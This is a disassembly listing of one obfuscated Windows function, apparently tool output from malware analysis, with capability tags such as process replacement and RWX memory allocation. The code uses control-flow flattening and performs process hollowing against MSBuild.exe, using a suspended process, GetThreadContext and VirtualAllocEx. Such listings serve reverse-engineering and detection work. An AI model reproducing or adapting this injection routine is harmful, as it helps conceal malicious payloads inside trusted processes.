Function at 0x10003060
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xf0
mov eax, dword [0x10035600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
mov edx, ecx
sub edx, 0xcb55dd99
sub edx, 1
add edx, 0xcb55dd99
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0xea], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0xe9], al
mov dword [ebp - 0xf0], 0xc9e1f087
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0xf4], eax
sub eax, 0x81b08612
je 0x10004895
jmp 0x100030db
mov eax, dword [ebp - 0xf4]
sub eax, 0x847deb91
je 0x10003fbf
jmp 0x100030f1
mov eax, dword [ebp - 0xf4]
sub eax, 0x850f0cea
je 0x10004fa7
jmp 0x10003107
mov eax, dword [ebp - 0xf4]
sub eax, 0x85b35bef
je 0x100052f2
jmp 0x1000311d
mov eax, dword [ebp - 0xf4]
sub eax, 0x86070c71
je 0x10004641
jmp 0x10003133
mov eax, dword [ebp - 0xf4]
sub eax, 0x8917b7b8
je 0x10006243
jmp 0x10003149
mov eax, dword [ebp - 0xf4]
sub eax, 0x908cfef3
je 0x10004fd0
jmp 0x1000315f
mov eax, dword [ebp - 0xf4]
sub eax, 0x90c8a333
je 0x1000498f
jmp 0x10003175
mov eax, dword [ebp - 0xf4]
sub eax, 0x9243a69c
je 0x10004f17
jmp 0x1000318b
mov eax, dword [ebp - 0xf4]
sub eax, 0x92a04861
je 0x100050b1
jmp 0x100031a1
mov eax, dword [ebp - 0xf4]
sub eax, 0x9313337f
je 0x100044dd
jmp 0x100031b7
mov eax, dword [ebp - 0xf4]
sub eax, 0x94827edf
je 0x100062e7
jmp 0x100031cd
mov eax, dword [ebp - 0xf4]
sub eax, 0x95273ea6
je 0x10004584
jmp 0x100031e3
mov eax, dword [ebp - 0xf4]
sub eax, 0x997346ad
je 0x10005248
jmp 0x100031f9
mov eax, dword [ebp - 0xf4]
sub eax, 0x9ad9505b
je 0x10004ff9
jmp 0x1000320f
mov eax, dword [ebp - 0xf4]
sub eax, 0x9c90e3fc
je 0x10005dbd
jmp 0x10003225
mov eax, dword [ebp - 0xf4]
sub eax, 0x9d5f0e1b
je 0x100049e0
jmp 0x1000323b
mov eax, dword [ebp - 0xf4]
sub eax, 0x9d7fc62e
je 0x10005d7c
jmp 0x10003251
mov eax, dword [ebp - 0xf4]
sub eax, 0x9d8e4ae2
je 0x10005489
jmp 0x10003267
mov eax, dword [ebp - 0xf4]
sub eax, 0x9fe2c7c8
je 0x1000505c
jmp 0x1000327d
mov eax, dword [ebp - 0xf4]
sub eax, 0xa2bd1f01
je 0x100059a0
jmp 0x10003293
mov eax, dword [ebp - 0xf4]
sub eax, 0xa3e006a3
je 0x100053ec
jmp 0x100032a9
mov eax, dword [ebp - 0xf4]
sub eax, 0xa4371a36
je 0x10004ea1
jmp 0x100032bf
mov eax, dword [ebp - 0xf4]
sub eax, 0xa70cde0d
je 0x10005bc0
jmp 0x100032d5
mov eax, dword [ebp - 0xf4]
sub eax, 0xa9d3d338
je 0x10005b74
jmp 0x100032eb
mov eax, dword [ebp - 0xf4]
sub eax, 0xaa0dab4c
je 0x1000468a
jmp 0x10003301
mov eax, dword [ebp - 0xf4]
sub eax, 0xab76eeb8
je 0x10005567
jmp 0x10003317
mov eax, dword [ebp - 0xf4]
sub eax, 0xad975809
je 0x1000435e
jmp 0x1000332d
mov eax, dword [ebp - 0xf4]
sub eax, 0xae961dad
je 0x100051d2
jmp 0x10003343
mov eax, dword [ebp - 0xf4]
sub eax, 0xb024195e
je 0x10004c3f
jmp 0x10003359
mov eax, dword [ebp - 0xf4]
sub eax, 0xb3fca45e
je 0x100048a4
jmp 0x1000336f
mov eax, dword [ebp - 0xf4]
sub eax, 0xb44d7e5e
je 0x10004467
jmp 0x10003385
mov eax, dword [ebp - 0xf4]
sub eax, 0xb57a4fc5
je 0x10004d86
jmp 0x1000339b
mov eax, dword [ebp - 0xf4]
sub eax, 0xb641cffa
je 0x10004099
jmp 0x100033b1
mov eax, dword [ebp - 0xf4]
sub eax, 0xb9afd6c7
je 0x10004f98
jmp 0x100033c7
mov eax, dword [ebp - 0xf4]
sub eax, 0xba729571
je 0x100058a9
jmp 0x100033dd
mov eax, dword [ebp - 0xf4]
sub eax, 0xc1cd9224
je 0x100052e3
jmp 0x100033f3
mov eax, dword [ebp - 0xf4]
sub eax, 0xc52b10da
je 0x10005fe8
jmp 0x10003409
mov eax, dword [ebp - 0xf4]
sub eax, 0xc9e1f087
je 0x10003ca6
jmp 0x1000341f
mov eax, dword [ebp - 0xf4]
sub eax, 0xcaf27f33
je 0x1000443a
jmp 0x10003435
mov eax, dword [ebp - 0xf4]
sub eax, 0xcbc78472
je 0x10005f87
jmp 0x1000344b
mov eax, dword [ebp - 0xf4]
sub eax, 0xce58a83e
je 0x1000507f
jmp 0x10003461
mov eax, dword [ebp - 0xf4]
sub eax, 0xced61531
je 0x10005d02
jmp 0x10003477
mov eax, dword [ebp - 0xf4]
sub eax, 0xcfa28993
je 0x10005ec7
jmp 0x1000348d
mov eax, dword [ebp - 0xf4]
sub eax, 0xcfbd7afa
je 0x100056de
jmp 0x100034a3
mov eax, dword [ebp - 0xf4]
sub eax, 0xd13eef60
je 0x10005b83
jmp 0x100034b9
mov eax, dword [ebp - 0xf4]
sub eax, 0xd41e1491
je 0x10005a88
jmp 0x100034cf
mov eax, dword [ebp - 0xf4]
sub eax, 0xd4787002
je 0x10006077
jmp 0x100034e5
mov eax, dword [ebp - 0xf4]
sub eax, 0xd6124690
je 0x10004d2e
jmp 0x100034fb
mov eax, dword [ebp - 0xf4]
sub eax, 0xd92f39b7
je 0x10004e2d
jmp 0x10003511
mov eax, dword [ebp - 0xf4]
sub eax, 0xdfae369c
je 0x1000470f
jmp 0x10003527
mov eax, dword [ebp - 0xf4]
sub eax, 0xe17e6a7e
je 0x10003cd5
jmp 0x1000353d
mov eax, dword [ebp - 0xf4]
sub eax, 0xe1a4f562
je 0x1000416c
jmp 0x10003553
mov eax, dword [ebp - 0xf4]
sub eax, 0xe284b10a
je 0x10005d8b
jmp 0x10003569
mov eax, dword [ebp - 0xf4]
sub eax, 0xe2c9be54
je 0x100041ab
jmp 0x1000357f
mov eax, dword [ebp - 0xf4]
sub eax, 0xe36d28c0
je 0x10004cad
jmp 0x10003595
mov eax, dword [ebp - 0xf4]
sub eax, 0xe7b3ec2b
je 0x100060c2
jmp 0x100035ab
mov eax, dword [ebp - 0xf4]
sub eax, 0xe98826bc
je 0x10004afe
jmp 0x100035c1
mov eax, dword [ebp - 0xf4]
sub eax, 0xea91884f
je 0x10006332
jmp 0x100035d7
mov eax, dword [ebp - 0xf4]
sub eax, 0xecaa3e28
je 0x10005360
jmp 0x100035ed
mov eax, dword [ebp - 0xf4]
sub eax, 0xef813737
je 0x10005e33
jmp 0x10003603
mov eax, dword [ebp - 0xf4]
sub eax, 0xf02ed02b
je 0x10004023
jmp 0x10003619
mov eax, dword [ebp - 0xf4]
sub eax, 0xf4cd2e9e
je 0x10005815
jmp 0x1000362f
mov eax, dword [ebp - 0xf4]
sub eax, 0xf5c41569
je 0x10005037
jmp 0x10003645
mov eax, dword [ebp - 0xf4]
sub eax, 0xf6137dec
je 0x10005a97
mov al, byte [ebp - 0xea]
mov cl, byte [ebp - 0xe9]
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfe4f657b
mov ecx, 0xe17e6a7e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xd8], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0xa4], eax
push eax
mov eax, esp
mov dword [ebp - 0xa0], eax
push eax
mov eax, esp
mov dword [ebp - 0x9c], eax
push eax
mov eax, esp
mov dword [ebp - 0x98], eax
push eax
mov eax, esp
mov dword [ebp - 0x94], eax
push eax
mov eax, esp
mov dword [ebp - 0x90], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100010b0
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.100010b0
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x1b600
call section..text
add esp, 8
mov eax, dword [ebp - 0xe8]
lea ecx, section..data
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov dword [ebp - 0x8c], eax
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
mov edx, ecx
sub edx, 0x5eda4801
sub edx, 1
add edx, 0x5eda4801
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfe4f657b
mov ecx, 0x431028
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov ecx, dword [ebp - 0x84]
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov edx, dword [eax + 0x3c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xdc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0xf0], 0x58fd6183
jmp 0x100063c2
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
mov edx, ecx
sub edx, 0x43027460
sub edx, 1
add edx, 0x43027460
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcbc78472
mov ecx, 0xb641cffa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov eax, dword [ebp - 0xd8]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.100078d0
add esp, 0xc
mov eax, dword [ebp - 0xd4]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.100078d0
add esp, 0xc
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x7c], eax
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcbc78472
mov ecx, 0x2222a02c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov cl, byte [ebp - 0x75]
and cl, 1
mov eax, dword [ebp - 0xd0]
mov byte [eax], cl
mov eax, dword [ebp - 0xcc]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xd0]
mov dl, byte [eax]
mov eax, 0xe2c9be54
mov ecx, 0xfbc758ff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
mov edx, eax
add edx, 0x9399017f
sub edx, 1
sub edx, 0x9399017f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc52b10da
mov ecx, 0x330f6f19
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd8]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [ebp - 0x70], eax
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
mov edx, ecx
add edx, 0xa1dee3eb
sub edx, 1
sub edx, 0xa1dee3eb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x31a39ba4
mov ecx, 0xcaf27f33
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov dword [ebp - 0xf0], 0x7077e0c4
jmp 0x100063c2
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
mov edx, ecx
add edx, 0x2e1fbb2a
sub edx, 1
sub edx, 0x2e1fbb2a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd4787002
mov ecx, 0x9313337f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10002750
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x38
mov dword [ebp - 0x6c], eax
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
mov edx, eax
add edx, 0xdc7cf2f
sub edx, 1
sub edx, 0xdc7cf2f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd4787002
mov ecx, 0x111685ef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xdc]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0xd8]
mov edx, dword [edx]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov edx, dword [ebp - 0xc4]
mov eax, 0xdfae369c
mov ecx, 0x3a371edd
cmp dword [edx], 0
cmove eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe7b3ec2b
mov ecx, 0xaa0dab4c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
mov edx, ecx
sub edx, 0x5bd58cba
sub edx, 1
add edx, 0x5bd58cba
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe7b3ec2b
mov ecx, 0x3a5d86fe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
mov edx, ecx
sub edx, 0x9e23e4d1
sub edx, 1
add edx, 0x9e23e4d1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x14dd3609
mov ecx, 0xf905160e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov dword [ebp - 0xf0], 0xb3fca45e
jmp 0x100063c2
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
mov edx, eax
sub edx, 0x90a60fe9
sub edx, 1
add edx, 0x90a60fe9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5b43f868
mov ecx, 0x2cf93418
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
mov edx, eax
add edx, 0x86e0d91e
sub edx, 1
sub edx, 0x86e0d91e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9a8212a
mov ecx, 0x9d5f0e1b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
mov edx, eax
sub edx, 0xb0a10a78
sub edx, 1
add edx, 0xb0a10a78
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9a8212a
mov ecx, 0x61a14faf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov dl, byte [ebp - 0x5d]
mov eax, 0x9ad9505b
mov ecx, 0x128d32cb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3cc2e957
mov ecx, 0xe36d28c0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
mov edx, ecx
sub edx, 0xe76dc5e6
sub edx, 1
add edx, 0xe76dc5e6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3cc2e957
mov ecx, 0xd6124690
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov dword [ebp - 0xf0], 0x6a7110c1
jmp 0x100063c2
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xac]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
add ecx, 0x71c121b8
add ecx, eax
sub ecx, 0x71c121b8
mov eax, dword [ebp - 0x58]
cmp eax, ecx
setbe al
and al, 1
mov byte [ebp - 0x51], al
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x564136e2
mov ecx, 0xd92f39b7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov dl, byte [ebp - 0x51]
mov eax, 0x850f0cea
mov ecx, 0x2b4e27e1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
mov edx, ecx
sub edx, 0x4e483315
sub edx, 1
add edx, 0x4e483315
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2a10f8ee
mov ecx, 0x9243a69c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0x50]
mov dword [eax], ecx
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
mov edx, ecx
sub edx, 0x582ea811
sub edx, 1
add edx, 0x582ea811
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2a10f8ee
mov ecx, 0xb9afd6c7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov dword [ebp - 0xf0], 0x850f0cea
jmp 0x100063c2
mov dword [ebp - 0xf0], 0xa9bf516
jmp 0x100063c2
mov ecx, dword [ebp - 0x4c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xac]
mov dword [eax], ecx
mov dword [ebp - 0xf0], 0x90c8a333
jmp 0x100063c2
mov eax, dword [ebp - 0xc0]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x45], al
mov dword [ebp - 0xf0], 0xfc3fe25b
jmp 0x100063c2
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0xf0], 0x9fe2c7c8
jmp 0x100063c2
mov eax, dword [ebp - 0x40]
mov esi, dword [eax + 0x34]
mov edx, dword [ebp - 0x44]
mov eax, 0xa70cde0d
mov ecx, 0xce58a83e
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov dword [ebp - 0xf0], 0x4b7ac64d
jmp 0x100063c2
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
mov edx, eax
add edx, 0x43c312e6
sub edx, 1
sub edx, 0x43c312e6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8917b7b8
mov ecx, 0x6c491f6c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
mov edx, ecx
add edx, 0x5e2f39b1
sub edx, 1
sub edx, 0x5e2f39b1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x78d1b632
mov ecx, 0x997346ad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov ecx, dword [ebp - 0x38]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0xa0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
sub ecx, 0xf54f859
sub ecx, eax
add ecx, 0xf54f859
mov eax, dword [ebp - 0x9c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x98]
mov dword [eax], 0
mov eax, dword [0x10036938]
mov ecx, dword [0x10036934]
mov edx, eax
sub edx, 0xfbbd4131
sub edx, 1
add edx, 0xfbbd4131
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x78d1b632
mov ecx, 0xc1cd9224
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov dword [ebp - 0xf0], 0x85b35bef
jmp 0x100063c2
mov ecx, dword [0x10036938]
mov eax, dword [0x10036934]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfac33ba6
mov ecx, 0xecaa3e28
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf0], eax
jmp 0x100063c2
mov eax, dword [ebp - 0x98]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
